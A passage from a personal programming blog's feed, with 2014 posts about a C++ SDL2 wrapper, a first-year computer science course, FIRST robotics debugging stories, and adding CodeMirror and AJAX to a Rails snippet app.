<span class="k">while</span> <span class="p">(</span><span class="n">angle</span> <span class="o"><=</span> <span class="n">M_PI</span><span class="o">*</span><span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
<span class="n">SDL_RenderDrawPoint</span><span class="p">(</span><span class="k">this</span><span class="o">-></span><span class="n">write_to</span><span class="p">,</span> <span class="n">x</span> <span class="o">+</span> <span class="p">(</span><span class="n">w</span><span class="o">*</span><span class="n">cos</span><span class="p">(</span><span class="n">angle</span><span class="p">)),</span> <span class="n">y</span> <span class="o">+</span> <span class="p">(</span><span class="n">h</span><span class="o">*</span><span class="n">sin</span><span class="p">(</span><span class="n">angle</span><span class="p">)));</span>
<span class="n">angle</span> <span class="o">+=</span> <span class="n">granularity</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span></code></pre></figure>
<p>This taught me a little bit about how maths can have application in graphics. I
think I will continue to work on drawing primatives tomorrow. I will also
probably write more on the abstraction structure</p>
<p>Anyway, back to the point of this post. The main point of this project is to get
familiar with writing large(r) software projects in class-based C++. My goal is
that eventually I will not have to stare at linker errors for a long time before
I figure out what the heck they are talking about.</p>
<p>While working on this and my other C++ project (a robot simulator), I have
definitely found that I have gotten better at both writing compiler- and
linker-error free C++ (marginally, I’ve not had a class compile first time yet,
but it is getting to the point where it’s just small basic fixes), along with
getting better at using GDB to diagnose my problems instead of
printf-debugging. C++ is a challenging language, but I definitely think I’m
getting better.</p>
<p>If you want to see the source and maybe try compiling this code on your system
(currently works only on Linux due to crazy Windows linkage I’m trying to
understand) go <a href="https://github.com/JackMc/CPlasmas">Here</a>. Unfortuantely I have
no idea how the strawberry image used above is licensed so you’re gonna have to
take your own image and call it ‘one.png’ in the build directory.</p>So today I restarted work on a project which I’ve left be for a while: A generic C++ wrapper around SDL2. It turns out that abstracting all this functionality is not as easy as I would think, and that it takes a lot of time, effort, and patience to make it work.My Experiences in Introduction to Computer Science I2014-12-01T00:29:00+00:002014-12-01T00:29:00+00:00https://jackmc.xyz/2014/12/01/first-year-computer-science<p>So turns out, university is a very consuming endeavor. As such, I haven’t had
much time to write on my blog (:-(). Now, as exams approach, I have decided I
need an outlet and should start writing again.</p>
<p>With the personal cruft out of the way, let’s talk about computer science
education at modern universities. I’ve seen many people walk into my computer
science class thinking it is a joke, and honestly maybe it will be easy for them
due to their prior experience. Heck, the most advanced thing we’ve done so far
in terms of language constructs is objects pretty much acting as structs (no methods).
But what they don’t see is what my class has already taught them: how to design
real applications. Yeah, it may be in Processing. Yeah, it may be something you can
whip up in minutes, but already we have designed a wandering AI zombie apocalypse
simulator, and a visualization of data about foreign student data.</p>
<p>I too was one of these people who thought the class was “too darn slow” and that we
should move on. But then I saw the other people in the class struggling with the concept
of a class or a loop because they’d never programmed before, and I looked at all we’d
accomplished in the class, and I thought that it was, well, pretty damn awesome.</p>
<p>So until tomorrow where I will start afresh with doing my couple of hours of programming
a day, here are a couple of screenshots of what we’ve made in our introduction to computer
science class.</p>
<p align="center">
<img src="/images/matching_game.png" alt="Simple memory game" /></img>
<span class="image-credits">A simple memory game made for an assignment. Demonstrates classes.</span>
</p>
<p align="center">
<img src="/images/zombie_game.png" alt="A Zombie Game" /></img>
<span class="image-credits">My zombie apocalypse simulator! In this picture it's in debug mode showing who's following or running away from who. This is my favourite!</span>
</p>So turns out, university is a very consuming endeavor. As such, I haven’t had much time to write on my blog (:-(). Now, as exams approach, I have decided I need an outlet and should start writing again.Day 8 - ROBOT2014-08-11T23:59:59+00:002014-08-11T23:59:59+00:00https://jackmc.xyz/2014/08/11/robots<p>Today I worked on maintaining robot code. Since this was mostly uneventful and
I didn’t learn much (and communicating learning is the point of this blog) so
I’ll talk about some of my stories from competition. Now if anyone who knows
me in real life is watching this, you’ll probably be groaning as I’ve told you
these stories tons of times, but for my dear anonymous viewers I’ll do it again
:-).</p>
<p>Preamble: I participated (and will try to continue to help with) in FIRST
robotics, an international competition for high school aged kids where they
have six weeks to solve a real engineering challenge by building a robot to
perform a particular task in six weeks. Now these tasks are usually sports-like
games, and the kids are given no help by the competition organization in
developing the robots. For examples of robots our particular team has made,
you can look on <a href="http://team2994.ca/robots">this page</a>.</p>
<p>So, we were at competition and we were having serious problems with our robot
dying every couple matches. Now as you can probably understand, this is a pretty
bad situation, and had to be fixed quick. We had to fix this quick. The
programming mentor and I began developing strategies before our next match, and I came
up with the idea to stick a little print statement at the beginning and the end
of every one of our functions to see which one the robot died in. After this,
we find out that the problem existed in the code which was sending over the
local network back to our robot. We pushed this fix literally as we were walking
to our next match, so it was definitely very timely. This is an example of why
the oft knocked Printf Debugging can be very useful.</p>
<p>Another story is more recent (this year). During our season (when we were
building the robot), we experienced problems with our winch which was run by
a wrench. Now, this has become pretty much a legend on our team, but if you ran
the winch backwards, it would cause the wrench inside to snap and cause a lot of
disassembly to have to occur. So with this explained, I managed to break this
winch twice. The reasons for both I will not get into, but it is a prime
example of why software developers and engineers in general should not rush
while fixing a bug or writing the initial code. In addition, I ended up adding
little comments to the top of all of the functions after these incidents which
told you exactly what each one assumed.</p>
<p>So there are two stories from my past and present which in my opinion teach
important lessons about software development. Thanks for reading, and I promise
tomorrow’s post will be about some more current coding! :-)</p>Today I worked on maintaining robot code. Since this was mostly uneventful and I didn’t learn much (and communicating learning is the point of this blog) so I’ll talk about some of my stories from competition. Now if anyone who knows me in real life is watching this, you’ll probably be groaning as I’ve told you these stories tons of times, but for my dear anonymous viewers I’ll do it again :-).Day 6 - It’s Not Me, It’s You2014-08-09T23:59:59+00:002014-08-09T23:59:59+00:00https://jackmc.xyz/2014/08/09/its-not-me<p>Today was a whirlwind of a day, and I feel like I got a lot of code done. The
first thing I did today was work on automatically changing the langauge of the
new snippet code entry box when the user changes the dropdown. This turned out
to be pretty easy, and I will show the code in a couple lines.</p>
<p>First, though, we need to talk. CoffeeScript, we’ve been seeing each other for
almost six days now, and I know it’s shallow, but your syntax just looks so
unelegant. Don’t cry, you’re just making this harder than it already is. So
yeah I’m switching back to JavaScript. So
<a href="https://github.com/JackMc/Syntag/blob/da974c3f214ba961e4c8868266bd6ab41e1809cf/syntag_web/app/assets/javascripts/snippets.js">here</a>’s the code for what I
talked about above (not included in this post so as to keep it semi-short).</p>
<p>Now this code downloads the associated JavaScript file whenever a change happens
to the dropdown. This code changed around a lot, but we’ll talk about that
later. Firstly, why isn’t there better syntax for dynamically loading a
JavaScript file?! If I want to do that, then I have to literally insert a
script tag into the head tag. This really is unacceptable, but I guess Google is
right…</p>
<p>So the other thing that I worked on today was integrating the CodeMirror editor
into the code display in addition to the snippet new page. It turns out that you
can make CodeMirror read-only and turn off line numbers to make it display a
snippet really nicely! Here is my final function to download language data
and stick it into a code editor:</p>
<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><span class="kd">function</span> <span class="nx">set_language</span><span class="p">(</span><span class="nx">lang_id</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">var</span> <span class="nx">code_editor_name</span> <span class="o">=</span> <span class="kc">null</span>
<span class="c1">// If the language has already been downloaded (along with it's JSON)</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">lang_id</span> <span class="o"><</span> <span class="nx">downloaded</span><span class="p">.</span><span class="nx">length</span> <span class="o">&&</span> <span class="nx">downloaded</span><span class="p">[</span><span class="nx">lang_id</span><span class="p">]</span> <span class="o">!=</span> <span class="kc">undefined</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">code_editor_name</span> <span class="o">=</span> <span class="nx">downloaded</span><span class="p">[</span><span class="nx">lang_id</span><span class="p">]</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">editor</span> <span class="o">!=</span> <span class="kc">null</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">editor</span><span class="p">.</span><span class="nx">setOption</span><span class="p">(</span><span class="dl">"</span><span class="s2">mode</span><span class="dl">"</span><span class="p">,</span> <span class="nx">code_editor_name</span><span class="p">)</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="nx">$</span><span class="p">.</span><span class="nx">ajax</span><span class="p">(</span><span class="dl">"</span><span class="s2">/admin/languages/</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">lang_id</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">.json</span><span class="dl">"</span><span class="p">).</span><span class="nx">done</span><span class="p">(</span><span class="kd">function</span> <span class="p">(</span><span class="nx">json_lang</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">$</span><span class="p">(</span><span class="dl">"</span><span class="s2">head</span><span class="dl">"</span><span class="p">).</span><span class="nx">append</span><span class="p">(</span><span class="nx">$</span><span class="p">(</span><span class="dl">"</span><span class="s2"><script src=</span><span class="se">\"</span><span class="s2">/assets/codemirror/modes/</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">json_lang</span><span class="p">[</span><span class="dl">"</span><span class="s2">code_editor_name</span><span class="dl">"</span><span class="p">]</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">.js</span><span class="se">\"</span><span class="s2">></script></span><span class="dl">"</span><span class="p">))</span>
<span class="nx">downloaded</span><span class="p">[</span><span class="nx">json_lang</span><span class="p">[</span><span class="dl">"</span><span class="s2">id</span><span class="dl">"</span><span class="p">]]</span> <span class="o">=</span> <span class="nx">json_lang</span><span class="p">[</span><span class="dl">"</span><span class="s2">code_editor_name</span><span class="dl">"</span><span class="p">]</span>
<span class="nx">code_editor_name</span> <span class="o">=</span> <span class="nx">json_lang</span><span class="p">[</span><span class="dl">"</span><span class="s2">code_editor_name</span><span class="dl">"</span><span class="p">]</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">editor</span> <span class="o">!=</span> <span class="kc">null</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">editor</span><span class="p">.</span><span class="nx">setOption</span><span class="p">(</span><span class="dl">"</span><span class="s2">mode</span><span class="dl">"</span><span class="p">,</span> <span class="nx">code_editor_name</span><span class="p">)</span>
<span class="p">}</span>
<span class="p">})</span>
<span class="p">}</span>
<span class="p">}</span></code></pre></figure>
<p>You can see a demo version of this app on <a href="http://syntag-web.herokuapp.com/snippets">Heroku</a>.</p>Today was a whirlwind of a day, and I feel like I got a lot of code done. The first thing I did today was work on automatically changing the langauge of the new snippet code entry box when the user changes the dropdown. This turned out to be pretty easy, and I will show the code in a couple lines.Day 5 - Embeddable Code Editors2014-08-08T23:59:59+00:002014-08-08T23:59:59+00:00https://jackmc.xyz/2014/08/08/inline-code-editors<p>So today wasn’t very exciting in terms of web development learning, but it took
up two hours. This, as it seems, is a common problem in programming. You can
spend hours and hours looking for soutions to a single problem, and there
probably exist enough solutions for you to spend hours and hours looking through
the various solutions to the problem. Generally, I’ll take the “good enough”
solution, but it seems for the problem I was having there really wasn’t one.</p>
<p>So, my problem was finding a code editor that I could embed into my form for
adding a new snippet to Syntag. There exist two major solutions to this in
the current landscape, as far as I can tell: CodeMirror and ACE. Neither of
which seem to be particularly architected towards people who want to use
them in forms or want to dynamically change the mode.</p>
<p>CodeMirror seems to be better built for inclusion in forms (it has a JS function
called fromTextArea which does exactly what it says on the tin), and ACE seems
to be better at dynamically loading languages from a string. I cannot confirm
this for ACE because I simply couldn’t get it working. CodeMirror I got working.
Below is the (small amount) of code I had to add to my CoffeeScript file for
CodeMirror to replace my text area:</p>
<figure class="highlight"><pre><code class="language-coffeescript" data-lang="coffeescript"><span class="nx">editor</span> <span class="o">=</span> <span class="nx">CodeMirror</span><span class="p">.</span><span class="na">fromTextArea</span><span class="p">(</span><span class="nx">$</span><span class="p">(</span><span class="s">"#snippet_contents"</span><span class="p">)[</span><span class="mi">0</span><span class="p">],</span> <span class="p">{</span><span class="na">value</span><span class="o">:</span> <span class="s">"testfunction</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="na">mode</span><span class="o">:</span> <span class="s">"ruby"</span><span class="p">}))</span></code></pre></figure>
<p>Currently I don’t have it working for syntax highlighting for anything other
than Ruby. I am going to look into dynamically loading modes for CodeMirror.</p>
<p>In addition, I wanted to make CodeMirror dynamically expand depending on the
form content. So I added this to my CSS:</p>
<figure class="highlight"><pre><code class="language-css" data-lang="css"><span class="nc">.CodeMirror</span> <span class="p">{</span>
<span class="nl">height</span><span class="p">:</span> <span class="nb">auto</span><span class="p">;</span>
<span class="p">}</span>
<span class="nc">.CodeMirror-scroll</span> <span class="p">{</span>
<span class="nl">overflow-x</span><span class="p">:</span> <span class="nb">auto</span><span class="p">;</span>
<span class="nl">overflow-y</span><span class="p">:</span> <span class="nb">hidden</span><span class="p">;</span>
<span class="p">}</span></code></pre></figure>
<p>So here’s what the code editor ends up looking on Syntag:</p>
<p><img src="/images/syntag_new_snippet-2014-08-08.png" alt="Syntag With Code Editor" /></p>So today wasn’t very exciting in terms of web development learning, but it took up two hours. This, as it seems, is a common problem in programming. You can spend hours and hours looking for soutions to a single problem, and there probably exist enough solutions for you to spend hours and hours looking through the various solutions to the problem. Generally, I’ll take the “good enough” solution, but it seems for the problem I was having there really wasn’t one.Day 4B - AJAX2014-08-07T23:59:59+00:002014-08-07T23:59:59+00:00https://jackmc.xyz/2014/08/07/day-4-ajax<p>Today I continued work on my Syntag application, trying to learn more about how
Ruby on Rails and web development in general work. I learned about how you can
use JavaScript to do web requests and inject them into your pages (AJAX). This
technique turns out to be very, very powerful. With these few lines of coffeescript
code (by the way, I learned a little coffeescript along the way! Maybe I’ll do a
post on that when I know more about it), I can make my application not require a
refresh for a user to view a snippet from the Syntag database:</p>
<figure class="highlight"><pre><code class="language-coffeescript" data-lang="coffeescript"><span class="nx">$</span><span class="p">.</span><span class="na">ajax</span><span class="p">(</span><span class="na">url</span><span class="o">:</span> <span class="s">"/snippets/"</span> <span class="o">+</span>
<span class="nx">$</span><span class="p">(</span><span class="s">"#snippet_select"</span><span class="p">).</span><span class="na">val</span><span class="p">()</span> <span class="o">+</span> <span class="s">".json"</span><span class="p">).</span><span class="na">done</span><span class="p">((</span><span class="nx">json_snip</span><span class="p">)</span> <span class="o">-></span>
<span class="nx">$</span><span class="p">(</span><span class="s">"#snippet"</span><span class="p">).</span><span class="na">text</span><span class="p">(</span><span class="nx">json_snip</span><span class="p">[</span><span class="s">'contents'</span><span class="p">])</span>
<span class="nx">$</span><span class="p">.</span><span class="na">ajax</span><span class="p">(</span><span class="na">url</span><span class="o">:</span> <span class="s">"/admin/languages/"</span> <span class="o">+</span> <span class="nx">json_snip</span><span class="p">[</span><span class="s">'language_id'</span><span class="p">]</span> <span class="o">+</span> <span class="s">'.json'</span><span class="p">).</span><span class="na">done</span><span class="p">((</span><span class="nx">json_lang</span><span class="p">)</span> <span class="o">-></span>
<span class="nx">$</span><span class="p">(</span><span class="s">"#lang"</span><span class="p">).</span><span class="na">text</span><span class="p">(</span><span class="nx">json_lang</span><span class="p">[</span><span class="s">'name'</span><span class="p">])</span>
<span class="nx">$</span><span class="p">(</span><span class="s">"#snippet"</span><span class="p">).</span><span class="na">addClass</span><span class="p">(</span><span class="s">"lang-"</span> <span class="o">+</span> <span class="nx">json_lang</span><span class="p">[</span><span class="s">'highlighter_name'</span><span class="p">])))</span></code></pre></figure>
<p>Honestly, I think this syntax is kinda silly and kludgey, but maybe it’ll grow on
me. It seems to be the current hot thing in the computer science community. While
I was writing this blog post I made the change of setting the text of the snippet
div to the contents of the snippet.</p>
<p>The next thing that I want to work on is syntax highlighting in that interface
and then prettying it up a little. Allons-y!</p>Today I continued work on my Syntag application, trying to learn more about how Ruby on Rails and web development in general work. I learned about how you can use JavaScript to do web requests and inject them into your pages (AJAX). This technique turns out to be very, very powerful. With these few lines of coffeescript code (by the way, I learned a little coffeescript along the way! Maybe I’ll do a post on that when I know more about it), I can make my application not require a refresh for a user to view a snippet from the Syntag database: